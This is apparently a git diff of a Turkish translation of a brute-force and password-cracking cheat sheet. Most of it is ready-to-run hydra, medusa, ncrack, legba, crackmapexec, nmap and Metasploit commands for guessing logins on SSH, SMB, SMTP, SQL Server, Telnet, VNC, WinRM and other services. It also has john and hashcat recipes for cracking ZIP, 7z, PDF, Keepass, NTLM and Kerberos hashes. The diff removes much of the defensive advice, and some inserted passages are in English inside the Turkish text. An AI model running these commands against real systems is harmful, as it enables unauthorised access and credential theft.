-SNMP brute force saldırıları, bir saldırganın birçok farklı parolayı hızlı bir şekilde denemesini gerektirir. Bu saldırıları gerçekleştirmek için çeşitli araçlar ve yöntemler mevcuttur. Saldırganlar, genellikle bir sözlük saldırısı veya tüm olası kombinasyonları deneyen bir brute force saldırısı kullanır.
-
-SNMP brute force saldırılarına karşı korunmak için güçlü parolalar kullanmak önemlidir. Varsayılan parolaları değiştirmek ve karmaşık, uzun ve rastgele parolalar kullanmak, saldırganların erişim sağlamasını zorlaştırır. Ayrıca, SNMP erişimini sınırlamak ve güvenlik duvarları veya ağ erişim denetim listeleri kullanmak da saldırı riskini azaltabilir.
+### SNMP
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
-#### Brute Force
+### SMB
-SMB (Server Message Block) brute force attacks involve attempting to gain unauthorized access to a target system by systematically trying different username and password combinations. This technique is commonly used to exploit weak or default credentials on SMB servers.
-
-##### Tools
-
-- **Hydra**: A popular command-line tool for performing brute force attacks. It supports various protocols, including SMB.
-- **Medusa**: Another command-line tool that supports SMB brute forcing.
-- **Ncrack**: A high-speed network authentication cracking tool that can be used for SMB brute forcing.
-
-##### Methodology
-
-1. **Enumerate Users**: Gather information about valid usernames on the target system. This can be done using tools like **enum4linux** or **nmap**.
-2. **Create Wordlist**: Generate a wordlist containing potential passwords. This can be done using tools like **Cupp** or **Crunch**.
-3. **Perform Brute Force**: Use a brute force tool like **Hydra**, **Medusa**, or **Ncrack** to systematically try different username and password combinations.
-4. **Analyze Results**: Analyze the results of the brute force attack to identify successful login credentials.
-5. **Exploit Access**: Once valid credentials are obtained, use them to gain unauthorized access to the target system.
-
-##### Best Practices to Prevent SMB Brute Force Attacks
-
-- Use strong and unique passwords for all user accounts.
-- Implement account lockout policies to prevent multiple failed login attempts.
-- Disable or rename default administrator accounts.
-- Regularly update and patch SMB servers to fix any security vulnerabilities.
-- Monitor and log failed login attempts to detect and respond to brute force attacks.
+### SMB
```bash
nmap --script smb-brute -p 445
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ]
```
-SMTP (Simple Mail Transfer Protocol), basit bir posta aktarım protokolüdür. SMTP, e-posta göndermek için kullanılan standart bir iletişim protokolüdür. SMTP sunucusu, e-posta istemcileri tarafından kullanılır ve e-posta iletilerini alıcı sunucuya iletmek için kullanılır.
+### SMTP
-SMTP brute force saldırısı, bir saldırganın SMTP sunucusuna birden fazla kullanıcı adı ve şifre kombinasyonu deneyerek yetkisiz erişim elde etmeye çalıştığı bir saldırı türüdür. Bu saldırı, zayıf veya tahmin edilebilir şifreler kullanan kullanıcı hesaplarını hedef alır.
-
-SMTP brute force saldırılarını önlemek için aşağıdaki önlemler alınabilir:
-
-- Güçlü şifre politikaları uygulamak: Kullanıcıların karmaşık ve güçlü şifreler kullanmalarını sağlamak için şifre politikaları belirlenmelidir.
-- Hesap kilit mekanizmaları: Belirli bir süre içinde yanlış şifre denemeleri yapan hesapları otomatik olarak kilitleyen bir mekanizma kullanılmalıdır.
-- İki faktörlü kimlik doğrulama (2FA): Kullanıcıların hesaplarına ek bir güvenlik katmanı eklemek için 2FA kullanılabilir.
-- Güncel yazılım ve güvenlik yamaları: SMTP sunucusu ve diğer ilgili yazılımların güncel ve güvenlik yamalarıyla korunduğundan emin olunmalıdır.
-
-SMTP brute force saldırılarına karşı savunmasız olan sistemler, saldırganların yetkisiz erişim elde etmesine ve hassas e-posta verilerinin tehlikeye atılmasına neden olabilir. Bu nedenle, güvenlik önlemlerinin düzgün bir şekilde uygulanması önemlidir.
+Simple Mail Transfer Protocol (Basit Posta Aktarım Protokolü) sunucularına erişmek için kullanılan bir brute force saldırısı, genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılır. Bu saldırı, bir saldırganın yetkisiz erişim elde etmesine ve istenmeyen e-postalar göndermesine olanak tanır.
```bash
hydra -l -P /path/to/passwords.txt smtp -V
hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ]
```
-SOCKS (Socket Secure) protokolü, ağ trafiğini bir ağdaki bir sunucu üzerinden yönlendirmek için kullanılan bir protokoldür. SOCKS, TCP/IP tabanlı uygulamaların güvenli bir şekilde çalışmasını sağlar ve ağ trafiğini şifreleyerek gizlilik sağlar. SOCKS, bir proxy sunucusu aracılığıyla çalışır ve kullanıcıların kimlik doğrulamasını gerektirebilir. Brute force saldırıları, SOCKS protokolünü hedef alabilir ve kullanıcı adı ve şifre kombinasyonlarını deneyerek yetkilendirme bilgilerini elde etmeye çalışabilir. Bu saldırı türü, güçlü şifreler kullanılmadığında etkili olabilir.
+### SOCKS
+
+SOCKS, yani "Socket Secure", bir ağ protokolüdür ve genellikle güvenli bir şekilde ağ trafiğini yönlendirmek için kullanılır. SOCKS sunucuları, ağ trafiğini yönlendirmek ve gizlemek için kullanılabilir. Bu, bir hedefe erişmek için farklı bir IP adresi kullanmak isteyen saldırganlar için yararlı olabilir.
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
@@ -789,23 +483,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
```
### SQL Server
-SQL Server, Microsoft tarafından geliştirilen ve yaygın olarak kullanılan bir ilişkisel veritabanı yönetim sistemidir. SQL Server, Windows işletim sistemleri üzerinde çalışır ve veritabanı yönetimi, veri depolama, veri güvenliği ve veri erişimi gibi birçok özelliği destekler.
-
-#### Brute Force Saldırısı
-
-Brute force saldırısı, bir saldırganın tüm olası kombinasyonları deneyerek kullanıcı adı ve şifre gibi giriş bilgilerini tahmin etmeye çalıştığı bir saldırı yöntemidir. SQL Server'da brute force saldırısı, saldırganın SQL Server'a erişmek için kullanıcı adı ve şifre kombinasyonlarını denemesini içerir.
-
-Bu saldırı türü, zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir. Saldırgan, oturum açma ekranında kullanıcı adı ve şifreleri denemek için otomatik bir araç veya özel yazılım kullanabilir. Brute force saldırıları genellikle zaman alıcıdır, çünkü tüm kombinasyonları denemek için çok fazla zaman gerektirebilir.
-
-SQL Server'da brute force saldırılarına karşı korunmak için aşağıdaki önlemler alınabilir:
-
-- Güçlü ve karmaşık şifreler kullanın.
-- Şifreleri düzenli olarak değiştirin.
-- Oturum açma denemelerini sınırlayın ve otomatik olarak hesapları kilitleyin.
-- İki faktörlü kimlik doğrulama kullanın.
-- Güvenlik duvarı ve ağ filtreleme kullanarak erişimi sınırlayın.
-
-Brute force saldırılarına karşı korunmak için güvenlik en iyi uygulamalarını takip etmek önemlidir.
+SQL Server, Microsoft'un ilişkisel veritabanı yönetim sistemidir. SQL Server'a karşı brute force saldırıları genellikle SQL Server Authentication modunda gerçekleştirilir. Bu saldırılar, kullanıcı adı ve şifre kombinasyonlarını deneyerek SQL Server'a erişmeye çalışır. Saldırganlar genellikle otomatik araçlar kullanarak bu tür saldırıları gerçekleştirirler. SQL Server brute force saldırılarına karşı korunmak için karmaşık ve güçlü şifreler kullanılmalı ve hesap kitlenme politikaları etkinleştirilmelidir.
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql -d -u usernames.txt -p passwords.txt
@@ -814,13 +492,9 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
-SSH (Secure Shell), güvenli bir uzaktan erişim protokolüdür. SSH, ağ üzerinden güvenli bir şekilde komut satırı erişimi sağlar ve verilerin şifrelenmesini sağlar. SSH, sunucu ve istemci arasında güvenli bir bağlantı kurmak için kullanılır.
+### SSH
-SSH brute force saldırısı, bir saldırganın SSH sunucusuna erişmek için bir dizi olası kullanıcı adı ve şifre kombinasyonunu denemesidir. Bu saldırı, zayıf veya tahmin edilebilir şifreler kullanılarak korunan SSH sunucularını hedef alır.
-
-SSH brute force saldırılarını önlemek için bazı önlemler alınabilir. Bunlar arasında güçlü ve karmaşık şifreler kullanmak, oturum açma denemelerini sınırlamak, IP adresi tabanlı erişim kontrolü yapmak ve çok faktörlü kimlik doğrulama kullanmak bulunur.
-
-SSH brute force saldırılarına karşı korunmak için güvenlik bilincinin artırılması ve güvenlik önlemlerinin uygulanması önemlidir. Ayrıca, güncellemeleri takip etmek ve güvenlik açıklarını düzeltmek de önemlidir.
+SSH, Secure Shell olarak da bilinir, ağ protokollerini güvenli bir şekilde yönetmek için kullanılır. SSH brute force saldırıları, genellikle şifre deneme saldırıları yaparak SSH sunucularına yetkisiz erişim sağlamak için kullanılır. Bu saldırı türü, oturum açma ekranına erişmek için genellikle otomatik araçlar kullanır. Saldırganlar, genellikle şifre listeleri veya rastgele şifre kombinasyonları kullanarak oturum açma ekranına erişmeye çalışırlar. Bu tür saldırılara karşı koymak için güçlü ve karmaşık şifreler kullanılmalı ve oturum açma denemelerini sınırlayan önlemler alınmalıdır.
```bash
hydra -l root -P passwords.txt [-t 32] ssh
ncrack -p 22 --user root -P passwords.txt [-T 5]
@@ -832,15 +506,17 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
```
#### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG
-Bazı sistemlerde, şifreleme materyali oluşturmak için kullanılan rastgele tohumda bilinen hatalar bulunmaktadır. Bu, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla kaba kuvvet saldırısıyla kırılabilecek dramatik bir şekilde azaltılmış bir anahtar alanıyla sonuçlanabilir. Zayıf anahtarların önceden oluşturulmuş setleri de mevcuttur, örneğin [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
+Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla kaba kuvvet saldırısına maruz kalan dramatik olarak azaltılmış bir anahtar alanı ile sonuçlanabilir. Önceden oluşturulmuş zayıf anahtar setleri de mevcuttur, örneğin [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ ve OpenMQ)
-STOMP metin protokolü, RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj kuyruğu hizmetleriyle sorunsuz iletişim ve etkileşim sağlayan yaygın olarak kullanılan bir mesajlaşma protokolüdür. Mesajları değiş tokuş etmek ve çeşitli mesajlaşma işlemlerini gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar.
+STOMP metin protokolü, RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj sıralama hizmetleriyle sorunsuz iletişim ve etkileşim sağlayan **geniş çapta kullanılan bir mesajlaşma protokolüdür**. Mesajları değiş tokuş etmek ve çeşitli mesajlaşma işlemlerini gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
-Telnet, bir ağ protokolüdür ve bir bilgisayarın uzaktan başka bir bilgisayara bağlanmasını sağlar. Telnet, bir sunucuya erişmek için kullanıcı adı ve şifre gibi kimlik doğrulama bilgilerini gerektirir. Brute force saldırısı, bir saldırganın Telnet protokolünü kullanarak bir sunucuya erişmek için tüm olası kullanıcı adı ve şifre kombinasyonlarını denemesidir. Bu saldırı yöntemi, zayıf veya tahmin edilebilir kimlik doğrulama bilgilerine sahip olan sistemlere karşı etkili olabilir.
+### Telnet
+
+Telnet, ağı üzerindeki diğer cihazlara erişmek için kullanılan bir protokoldür. Genellikle TCP üzerinden 23 numaralı bağlantı noktasını kullanır. Telnet, metin tabanlı bir protokol olduğundan, veriler açık metin olarak iletilir ve bu da güvenlik riski oluşturabilir. Güvenliği zayıf olduğu için günümüzde genellikle tercih edilmemektedir.
```bash
hydra -l root -P passwords.txt [-t 32] telnet
ncrack -p 23 --user root -P passwords.txt [-T 5]
@@ -857,13 +533,9 @@ legba telnet \
```
### VNC
-VNC (Virtual Network Computing), sanal bir masaüstü protokolüdür. VNC, bir bilgisayara uzaktan erişim sağlamak için kullanılır ve genellikle sunucu ve istemci olarak iki bileşenden oluşur. Sunucu, uzaktaki bilgisayarın ekranını paylaşırken, istemci, sunucuya bağlanarak uzaktaki bilgisayara erişir.
+#### Brute Force
-Brute force saldırıları, VNC sunucularını hedef alabilir. Bu saldırılar, kullanıcı adı ve parola kombinasyonlarını deneyerek sunucuya yetkisiz erişim sağlamayı amaçlar. Brute force saldırıları, genellikle zayıf veya tahmin edilebilir parolaları hedef alır.
-
-Brute force saldırılarını önlemek için bazı önlemler alınabilir. Bunlar arasında güçlü parolalar kullanmak, oturum açma denemelerini sınırlamak, IP adresi tabanlı engelleme uygulamak ve iki faktörlü kimlik doğrulama kullanmak bulunur.
-
-VNC sunucularınızı güvende tutmak için güvenlik önlemlerini uygulamak önemlidir. Bu, yetkisiz erişimi önlemek ve hassas verilerinizi korumak için gereklidir.
+Brute force attacks against VNC servers involve attempting to log in by systematically trying all possible passwords until the correct one is found. This can be achieved using tools like Hydra or Medusa. It is important to note that brute force attacks can be time-consuming and resource-intensive, especially if the password is complex. It is recommended to use strong, unique passwords and implement account lockout policies to mitigate the risk of a successful brute force attack.
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc
medusa -h –u root -P /root/Desktop/pass.txt –M vnc
@@ -880,25 +552,14 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```
### Winrm
-Winrm, Windows Remote Management, Windows işletim sistemlerinde uzaktan yönetimi sağlayan bir protokoldür. Winrm, Windows PowerShell komutlarını ve diğer yönetim araçlarını uzaktan çalıştırmak için kullanılır. Bu protokol, ağ üzerinden güvenli bir şekilde iletişim kurmak için HTTPS üzerinden çalışır.
-
-Winrm, brute force saldırılarına karşı savunmasız olabilir. Brute force saldırıları, bir saldırganın tüm olası şifre kombinasyonlarını deneyerek bir hesaba erişmeye çalıştığı saldırılardır. Bu tür saldırılar, zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir.
-
-Winrm brute force saldırılarını önlemek için aşağıdaki önlemleri alabilirsiniz:
-
-- Güçlü şifreler kullanın: Karmaşık ve tahmin edilemez şifreler kullanarak saldırganların şifreleri tahmin etmelerini zorlaştırın.
-- Şifre politikalarını uygulayın: Şifre politikaları belirleyerek kullanıcıların güçlü şifreler kullanmasını zorunlu hale getirin.
-- Hesap kilitlenmesini etkinleştirin: Belirli bir süre içinde yanlış şifre denemeleri yapıldığında hesapları otomatik olarak kilitlenmesini sağlayın.
-- İki faktörlü kimlik doğrulama kullanın: İki faktörlü kimlik doğrulama, kullanıcıların şifrelerinin yanı sıra başka bir doğrulama yöntemi kullanmalarını gerektirir.
-
-Bu önlemleri alarak Winrm brute force saldırılarına karşı güvenliğinizi artırabilirsiniz.
+Winrm, Windows Remote Management'ın kısaltmasıdır. Winrm, Windows işletim sistemlerinde uzaktan yönetim için kullanılan bir protokoldür. Winrm, uzaktan komut istemcileri ve sunucular arasında güvenli iletişimi sağlamak için kullanılır.
```bash
crackmapexec winrm -d -u usernames.txt -p passwords.txt
```
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -908,8 +569,8 @@ Bugün Erişim Alın:
### Çevrimiçi kırma veritabanları
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 ve SHA1)
-* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP ile/olmadan ve herhangi bir meydan okuma değeriyle)
-* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash'ler, WPA2 yakalamaları ve MSOffice, ZIP, PDF arşivleri...)
+* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP olmadan/ile ve herhangi bir meydan okuma değeri ile)
+* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash'ler, WPA2 yakalamaları ve arşivler MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hash'ler)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (Hash'ler ve dosya hash'leri)
@@ -919,7 +580,7 @@ Bugün Erişim Alın:
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
-Hash kuvvet saldırısı yapmadan önce bunları kontrol edin.
+Hash'ı kaba kuvvet uygulamadan önce bunu kontrol edin.
### ZIP
```bash
@@ -937,9 +598,10 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
-#### Bilinen metin zip saldırısı
+#### Bilinen düz metin zip saldırısı
-Şifrelenmiş bir zip içindeki bir dosyanın **açık metnini** (veya açık metnin bir kısmını) bilmelisiniz. Şifrelenmiş bir zip içindeki dosyaların **dosya adlarını ve dosya boyutunu** kontrol etmek için **`7z l encrypted.zip`** komutunu çalıştırabilirsiniz. [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)'i yayın sayfasından indirin.
+Şifreli bir zip dosyasının içinde bulunan bir dosyanın **düz metnini** (veya düz metnin bir kısmını) **bilmelisiniz**. Şifreli bir zip içinde bulunan dosyaların **dosya adlarını ve dosyaların boyutunu** kontrol edebilirsiniz: **`7z l encrypted.zip`**\
+İndir [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sürümler sayfasından.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
@@ -953,17 +615,9 @@ unzip unlocked.zip #User new_pwd as password
```
### 7z
-7z, ağır şifreleme ve sıkıştırma özellikleri sunan bir dosya arşivleme formatıdır. 7z dosyaları, genellikle .7z uzantısıyla tanımlanır. Bu format, diğer arşivleme formatlarına göre daha yüksek sıkıştırma oranları sağlar.
+#### Brute Force
-7z dosyalarının şifrelenmiş olması durumunda, brute force saldırıları kullanılarak şifre kırılabilir. Brute force saldırısı, tüm olası şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalışır. Bu saldırı yöntemi, şifrenin zayıf olduğu durumlarda etkili olabilir.
-
-Brute force saldırısı için çeşitli araçlar ve yöntemler mevcuttur. Bu saldırıları gerçekleştirmek için genellikle özel yazılımlar veya scriptler kullanılır. Ancak, brute force saldırıları zaman alıcı ve kaynak yoğun olabilir, bu nedenle hedefin şifresinin zayıf olduğu kesinleştiğinde tercih edilir.
-
-7z dosyalarının brute force saldırılarına karşı korunması için güçlü ve karmaşık şifreler kullanılması önemlidir. Şifrelerin uzun, rastgele karakterlerden oluşması ve farklı karakter türlerini içermesi önerilir. Ayrıca, şifrelerin düzenli olarak değiştirilmesi ve güncellenmesi de önemlidir.
-
-7z dosyalarının brute force saldırılarına karşı korunması için diğer bir yöntem ise şifre deneme sınırının belirlenmesidir. Şifre deneme sınırı, belirli bir süre içinde yapılabilecek şifre denemelerinin sayısını sınırlar. Bu, brute force saldırılarını zorlaştırabilir ve şifre kırma sürecini yavaşlatabilir.
-
-Sonuç olarak, 7z dosyalarının brute force saldırılarına karşı korunması için güçlü şifreler kullanılmalı ve şifre deneme sınırı belirlenmelidir. Ayrıca, güvenlik açığı olabilecek zayıf şifrelerden kaçınılmalı ve şifreler düzenli olarak güncellenmelidir.
+Brute force attacks can be used to crack the password of a 7z archive. Tools like 7z2hashcat can convert the 7z hash to a format that hashcat can understand. Hashcat can then be used to perform a brute force attack to crack the password.
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
@@ -974,19 +628,9 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
-# Brute Force (Kaba Kuvvet)
+### PDF
-Kaba kuvvet saldırısı, bir hedefin şifresini veya kimlik doğrulama bilgilerini tahmin etmek için bir dizi olası kombinasyonu denemek amacıyla kullanılan bir saldırı yöntemidir. Bu saldırı yöntemi, oturum açma sayfaları, şifre korumalı dosyalar veya ağ cihazları gibi güvenlik önlemleriyle korunan sistemlere karşı kullanılabilir.
-
-Kaba kuvvet saldırıları genellikle şifreleme algoritmalarının zayıf noktalarını hedefler. Saldırganlar, şifreleme algoritmasının kullanıldığı sistemdeki şifreleme anahtarını veya şifreleme algoritmasının kendisini kırmak için bir dizi olası değeri deneyerek hedefin şifresini bulmaya çalışır.
-
-Bu saldırı yöntemi, saldırganın sahip olduğu hesap bilgilerini veya şifreleme anahtarını korumak için güçlü güvenlik önlemleri almayan sistemlerde etkili olabilir. Bu nedenle, güçlü ve karmaşık şifreler kullanmak, hesaplarınızı ve sistemlerinizi kaba kuvvet saldırılarına karşı korumak için önemlidir.
-
-Kaba kuvvet saldırıları, genellikle otomatik araçlar veya yazılımlar kullanılarak gerçekleştirilir. Bu araçlar, bir hedefin şifresini veya kimlik doğrulama bilgilerini tahmin etmek için bir dizi olası kombinasyonu otomatik olarak deneyebilir. Saldırganlar, bu araçları kullanarak hedef sistemlere büyük miktarda giriş yapabilir ve şifreleri veya kimlik doğrulama bilgilerini elde edebilir.
-
-Kaba kuvvet saldırılarına karşı korunmanın birkaç yolu vardır. İlk olarak, güçlü ve karmaşık şifreler kullanmak önemlidir. Şifrelerinizi düzenli olarak değiştirmek ve aynı şifreyi birden fazla hesapta kullanmaktan kaçınmak da önemlidir. Ayrıca, hesaplarınızı ve sistemlerinizi korumak için çift faktörlü kimlik doğrulama gibi ek güvenlik önlemleri kullanabilirsiniz.
-
-Sonuç olarak, kaba kuvvet saldırıları, şifreleri veya kimlik doğrulama bilgilerini tahmin etmek için bir dizi olası kombinasyonu deneyen bir saldırı yöntemidir. Bu saldırılara karşı korunmak için güçlü şifreler kullanmak ve ek güvenlik önlemleri almak önemlidir.
+Brute-force attacks are commonly used to crack passwords from PDF files. Tools like `pdfcrack` and `pdf2john` can be used to extract the hash from a PDF file, which can then be cracked using a password list or by brute-forcing the password. It is important to note that brute-forcing passwords can be time-consuming and resource-intensive, especially for complex passwords.
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@@ -997,7 +641,7 @@ qpdf --password= --decrypt encrypted.pdf plaintext.pdf
```
### PDF Sahibi Şifresi
-Bir PDF sahibi şifresini kırmak için şunu kontrol edin: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
+PDF Sahibi şifresini kırmak için şu adrese bakın: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT
```bash
@@ -1012,36 +656,12 @@ python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
john jwt.john #It does not work with Kali-John
```
### NTLM kırma
-
-NTLM (NT LAN Manager), Windows işletim sistemlerinde kullanılan bir kimlik doğrulama protokolüdür. NTLM kırma, bir saldırganın NTLM hash'ini elde etmek ve ardından bu hash'i çözmek için kullanılan bir tekniktir. NTLM hash'i, kullanıcının parolasının yerine geçen bir değerdir ve saldırganın parolayı elde etmesine olanak sağlar.
-
-NTLM kırma genellikle brute force saldırılarıyla gerçekleştirilir. Brute force saldırısı, tüm olası parola kombinasyonlarını deneyerek doğru parolayı bulmaya çalışır. Bu saldırı yöntemi, zayıf veya tahmin edilebilir parolaları olan kullanıcı hesaplarını hedef alır.
-
-NTLM kırma için kullanılan bazı araçlar şunlardır:
-
-- **John the Ripper**: Parola kırma aracı olarak kullanılan popüler bir yazılımdır. NTLM hash'lerini çözmek için kullanılabilir.
-- **Hashcat**: Yüksek performanslı bir parola kırma aracıdır. NTLM hash'lerini çözmek için kullanılabilir.
-- **Medusa**: Çoklu hedef desteği olan bir brute force saldırı aracıdır. NTLM kırma için kullanılabilir.
-
-NTLM kırma işlemi, güçlü parolalar kullanarak hesap güvenliğini artırmak için önemlidir. Kullanıcıların karmaşık ve tahmin edilemez parolalar kullanmaları, NTLM kırma saldırılarına karşı daha dirençli olmalarını sağlar.
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
-Keepass, a popular open-source password manager, is a valuable tool for securely storing and managing passwords. It uses strong encryption algorithms to protect your passwords and allows you to generate strong, unique passwords for each of your accounts.
-
-One potential weakness of Keepass is the possibility of brute-force attacks. Brute-force attacks involve systematically trying every possible combination of characters until the correct password is found. To protect against brute-force attacks, Keepass includes several security features.
-
-Firstly, Keepass allows you to set a master password, which is required to access your password database. It is important to choose a strong master password that is not easily guessable. Avoid using common words or phrases and consider using a combination of uppercase and lowercase letters, numbers, and special characters.
-
-Additionally, Keepass includes a feature called key transformation, which adds an extra layer of security to the master password. Key transformation involves applying a series of cryptographic transformations to the master password, making it more difficult for an attacker to guess or crack the password.
-
-To further enhance security, Keepass also supports the use of key files. A key file is a separate file that is required in addition to the master password to unlock the password database. This adds an extra layer of protection, as an attacker would need both the master password and the key file to gain access.
-
-It is important to regularly update your master password and key file to ensure the security of your password database. Additionally, consider enabling two-factor authentication (2FA) if supported by your Keepass implementation. 2FA adds an extra layer of security by requiring a second form of authentication, such as a fingerprint or a one-time password, in addition to the master password and key file.
-
-By following these security practices and regularly updating your master password and key file, you can significantly reduce the risk of brute-force attacks on your Keepass password database.
+### Keepass
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
@@ -1049,13 +669,9 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
-Keberoasting, bir saldırganın Active Directory (AD) ortamında zayıf şifrelenmiş hesapları keşfetmek için kullanılan bir saldırı tekniğidir. Bu saldırı, AD ortamında Kerberos ön bellek saldırısı yaparak gerçekleştirilir.
+### Keberoasting
-Keberoasting saldırısı, hedef AD ortamında SPN (Service Principal Name) olarak bilinen hesapları hedefler. SPN'ler, bir servisin AD'deki kimlik doğrulamasını temsil eder. Bu hesaplar genellikle servis hesaplarıdır ve genellikle uzun süreli şifrelerle korunurlar.
-
-Saldırgan, hedef AD ortamında SPN'leri keşfeder ve ardından bu hesapların şifrelerini zayıf bir şekilde şifrelenmiş olanlarını belirler. Daha sonra, saldırgan bu zayıf şifrelenmiş hesapları çalmak için Kerberos ön bellek saldırısı kullanır.
-
-Keberoasting saldırısı, saldırganın hedef AD ortamında kimlik doğrulama bilgilerini elde etmesine ve bu hesapları kötüye kullanmasına olanak tanır. Bu saldırı, saldırganın hedef ağda ilerlemesine ve daha fazla yetki elde etmesine yardımcı olabilir.
+Keberoasting, bir hedefin Active Directory ortamında bulunan hesaplarının hash'lerini elde etmek için kullanılan bir saldırı tekniğidir. Bu saldırıda, saldırganlar genellikle SPN'leri (Service Principal Names) olan hesapları hedeflerler ve ardından bu hesapların hash'lerini elde etmek için brute force saldırıları gerçekleştirirler. Bu yöntem, zayıf veya kolayca tahmin edilebilen parolalar kullanan hesaplar için etkili olabilir.
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
@@ -1073,28 +689,6 @@ ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
#### Yöntem 2
-
-##### Brute Force
-
-##### Brut Kuvvet
-
-Brute force is a technique used to crack passwords or encryption by systematically trying all possible combinations until the correct one is found. It is a time-consuming method but can be effective if the password is weak or the encryption algorithm is vulnerable.
-
